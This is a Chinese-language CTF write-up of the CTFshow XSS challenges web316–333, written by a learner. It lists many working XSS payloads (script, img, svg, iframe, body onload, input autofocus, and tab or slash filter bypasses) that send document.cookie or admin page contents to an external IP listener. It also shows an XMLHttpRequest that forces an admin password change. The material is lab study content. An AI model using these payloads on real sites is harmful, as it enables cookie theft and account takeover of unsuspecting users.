CTFshow-WEB入门-XSS
前言因为不太会javascript,所以对于xss的了解一直比较少,也不太会,这次做一下xss专题,学习一下xss。web316圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!意思是要生成链接,应该就还是获得管理员cookie这样的题目,大师傅们说题目的bot是每隔一段时间自动点击的。可以利用xss平台:XSS平台以后我都用自己vps。首先测试一下<script>aler
前言
因为不太会javascript,所以对于xss的了解一直比较少,也不太会,这次做一下xss专题,学习一下xss。
web316
圣诞快乐,写下祝福语,生成链接,发送给朋友,可以领取十个鸡蛋!
意思是要生成链接,应该就还是获得管理员cookie这样的题目,大师傅们说题目的bot是每隔一段时间自动点击的。
可以利用xss平台:
XSS平台
以后我都用自己vps。
首先测试一下<script>alert(1)</script>
,弹窗成功,第一题应该是没有任何的过滤,所以直接打cookie即可。
收集一下可用的姿势吧,首先是img:
<script>
var img=document.createElement("img"); img.src="http://118.31.168.198:39543/"+document.cookie;
</script>
直接创建img标签的话,比如这样<img src="http://xxx.xxx.xxx.xxx:39543/"+document.cookie />
不行,这里识别不到document.cookie,套一层<script></script>
也不行,看来想在script里面创建img的话只能这样了,还是不会js,太菜了。
不过利用外带的话还有其他的姿势,比如window.open:
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
此外也还可以这样
<script>window.location.href='http://118.31.168.198:39543/'+document.cookie</script>
不加window也可以:
<script>location.href='http://118.31.168.198:39543/'+document.cookie</script>
此外,input也可以,不过需要加上autofocus。:
<input onfocus="window.open('http://118.31.168.198:39543/'+document.cookie)" autofocus>
通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发
还有svg标签。
<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
还有iframe标签:
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
还有body标签:
<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
正常的vps那边是需要nc的,但是nc好像不能持续接收,但是方法其实很多,可以重复起nc,或者我这边就临时拿python起一个临时的服务器,接收一下get参数:
python3 -m http.server 39543
web317
好像过滤了script,上面的很多方法都可以用。
web318
过滤了img,上面的很多方法都可以用。
web319
同上
web320
把空格给过滤了,就拿%09的url解码得到的TAB来过滤。
<iframe onload="window.open('http://118.31.168.198:39543/'+document.cookie)"></iframe>
web321
同上
web322
把iframe给过滤了,但是svg还可以用,用svg:
<svg onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
body也可以:
<body onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
此外,去查XSS的过滤,发现过滤了空格其实正规的绕法应该是拿/
来绕:
<body/onload="window.open('http://118.31.168.198:39543/'+document.cookie)">
web323
同上
web324
同上
web325
同上
web326
同上
web327
存储型XSS。首先就是poster必须是admin才能发送成功,其次就是XSS的触发点应该是sender和content都可以。直接用一下xss平台的payload就可以了。
web328
简单的看一下,逻辑大概就是注册用户名和密码,然后应该是存入数据库中,然后有一个用户管理页面,只有管理员可以查看,而且这个页面会把数据库中的用户名和密码回显出来,很容易猜到flag应该也在这里,所以还是拿admin的cookie,比较明显的存储型XSS。拿xss平台或者最简单的payload打就可以:
<script>window.open('http://118.31.168.198:39543/'+document.cookie)</script>
web329
还是按照同样的方式,得到了cookie,但是这题却不行了,说明直接拿到管理员的cookie也没法成功登录。y4师傅说是设置了cookie发给你后就让他失效,所以没法登录成admin。但是可以想到就是把那个页面的内容给读到,但是怎么读我太不会。。上网上查了一下,感觉很几种方法,首先是这样:
<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
还有innerHTML和outerHTML的区别
1)innerHTML:
从对象的起始位置到终止位置的全部内容,不包括Html标签。
2)outerHTML:
除了包含innerHTML的全部内容外, 还包含对象标签本身。
此外还有y4师傅这样的:
var img = new Image();
img.src = "http://your-domain/cookie.php?cookie="+document.querySelector('#top > div.layui-container > div :nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;//问了师傅才知道这个标签是可以通过浏览器找到的,ttttqqqqll
document.body.append(img);
是写到了自己的vps上面。
web330
发现了新增加了修改密码的功能,莫名警觉。但是按照之前的那样读发现读到的是******。本来想着是javascript让管理员去访问修改密码的那个页面,实现修改管理员的密码,但是好像我并没有成功。无奈看了一下yq1ng师傅的方式,类似于这样:
<script>window.open('http://118.31.168.198:39543/'+document.querySelector('#top > div.layui-container').textContent)</script>
原因是管理员的密码是在这个页面的其他位置,所以按照之前的找那个表格中的内容是找不到的。不得不说还是querySelector好用,可能还是我不会javascript的原因,对于getElementsByClassName的理解很浅,比如这样
<script>window.open('http://118.31.168.198:39543/'+document.getElementsByClassName('layui-container')[0].outerHTML)</script>
他似乎不能递归的寻找?所以感觉并没有querySelector好用。
但是这样其实还是非预期,本题的预期应该就是去修改管理员的密码,但是似乎我这样并不行:
<script>window.open('http://e9dc0314-afc3-48a2-9578-ef76191ce6bb.chall.ctf.show:8080/api/change.php?p=1234567')</script>
但是发现这样就可以了:
<script>window.open('http://127.0.0.1/api/change.php?p=1234567')</script>
web331
这题修改密码的那里变成的post请求,我这里再window.open肯定不行了,去查一下javascript如何发送Http请求,发现方式还是挺多的,这里试试用XMLHttpRequest。
原型是这样:
var httpRequest = new XMLHttpRequest();//第一步:创建需要的对象
httpRequest.open('POST', 'url', true); //第二步:打开连接
httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置请求头 注:post方式必须设置请求头(在建立连接后设置请求头)
httpRequest.send('name=teswe&ee=ef');//发送请求 将情头体写在send中
/**
* 获取数据后的处理程序
*/
httpRequest.onreadystatechange = function () {//请求后的回调接口,可将请求成功后要执行的程序写在其中
if (httpRequest.readyState == 4 && httpRequest.status == 200) {//验证请求是否发送成功
var json = httpRequest.responseText;//获取到服务端返回的数据
console.log(json);
}
};
获取数据后的处理就不用管了,直接发送请求即可。
<script>var httpRequest = new XMLHttpRequest();httpRequest.open('POST', 'http://127.0.0.1/api/change.php', true);httpRequest.setRequestHeader("Content-type","application/x-www-form-urlencoded");httpRequest.send('p=1234567');</script>
web332
正常注册,发现转不了账,提示有内鬼,停止交易。好奇怪。然后用户名那里注册了xss:
<script>alert(1)</script>
,
再去转账,发现能转了。。
试了一下逻辑漏洞,转账那里转负数钱:
可以得到flag。
web333
再给别人转转不了了,给自己转:
成功,而且金额会增加,开bp跑一下就可以了。
更多推荐
所有评论(0)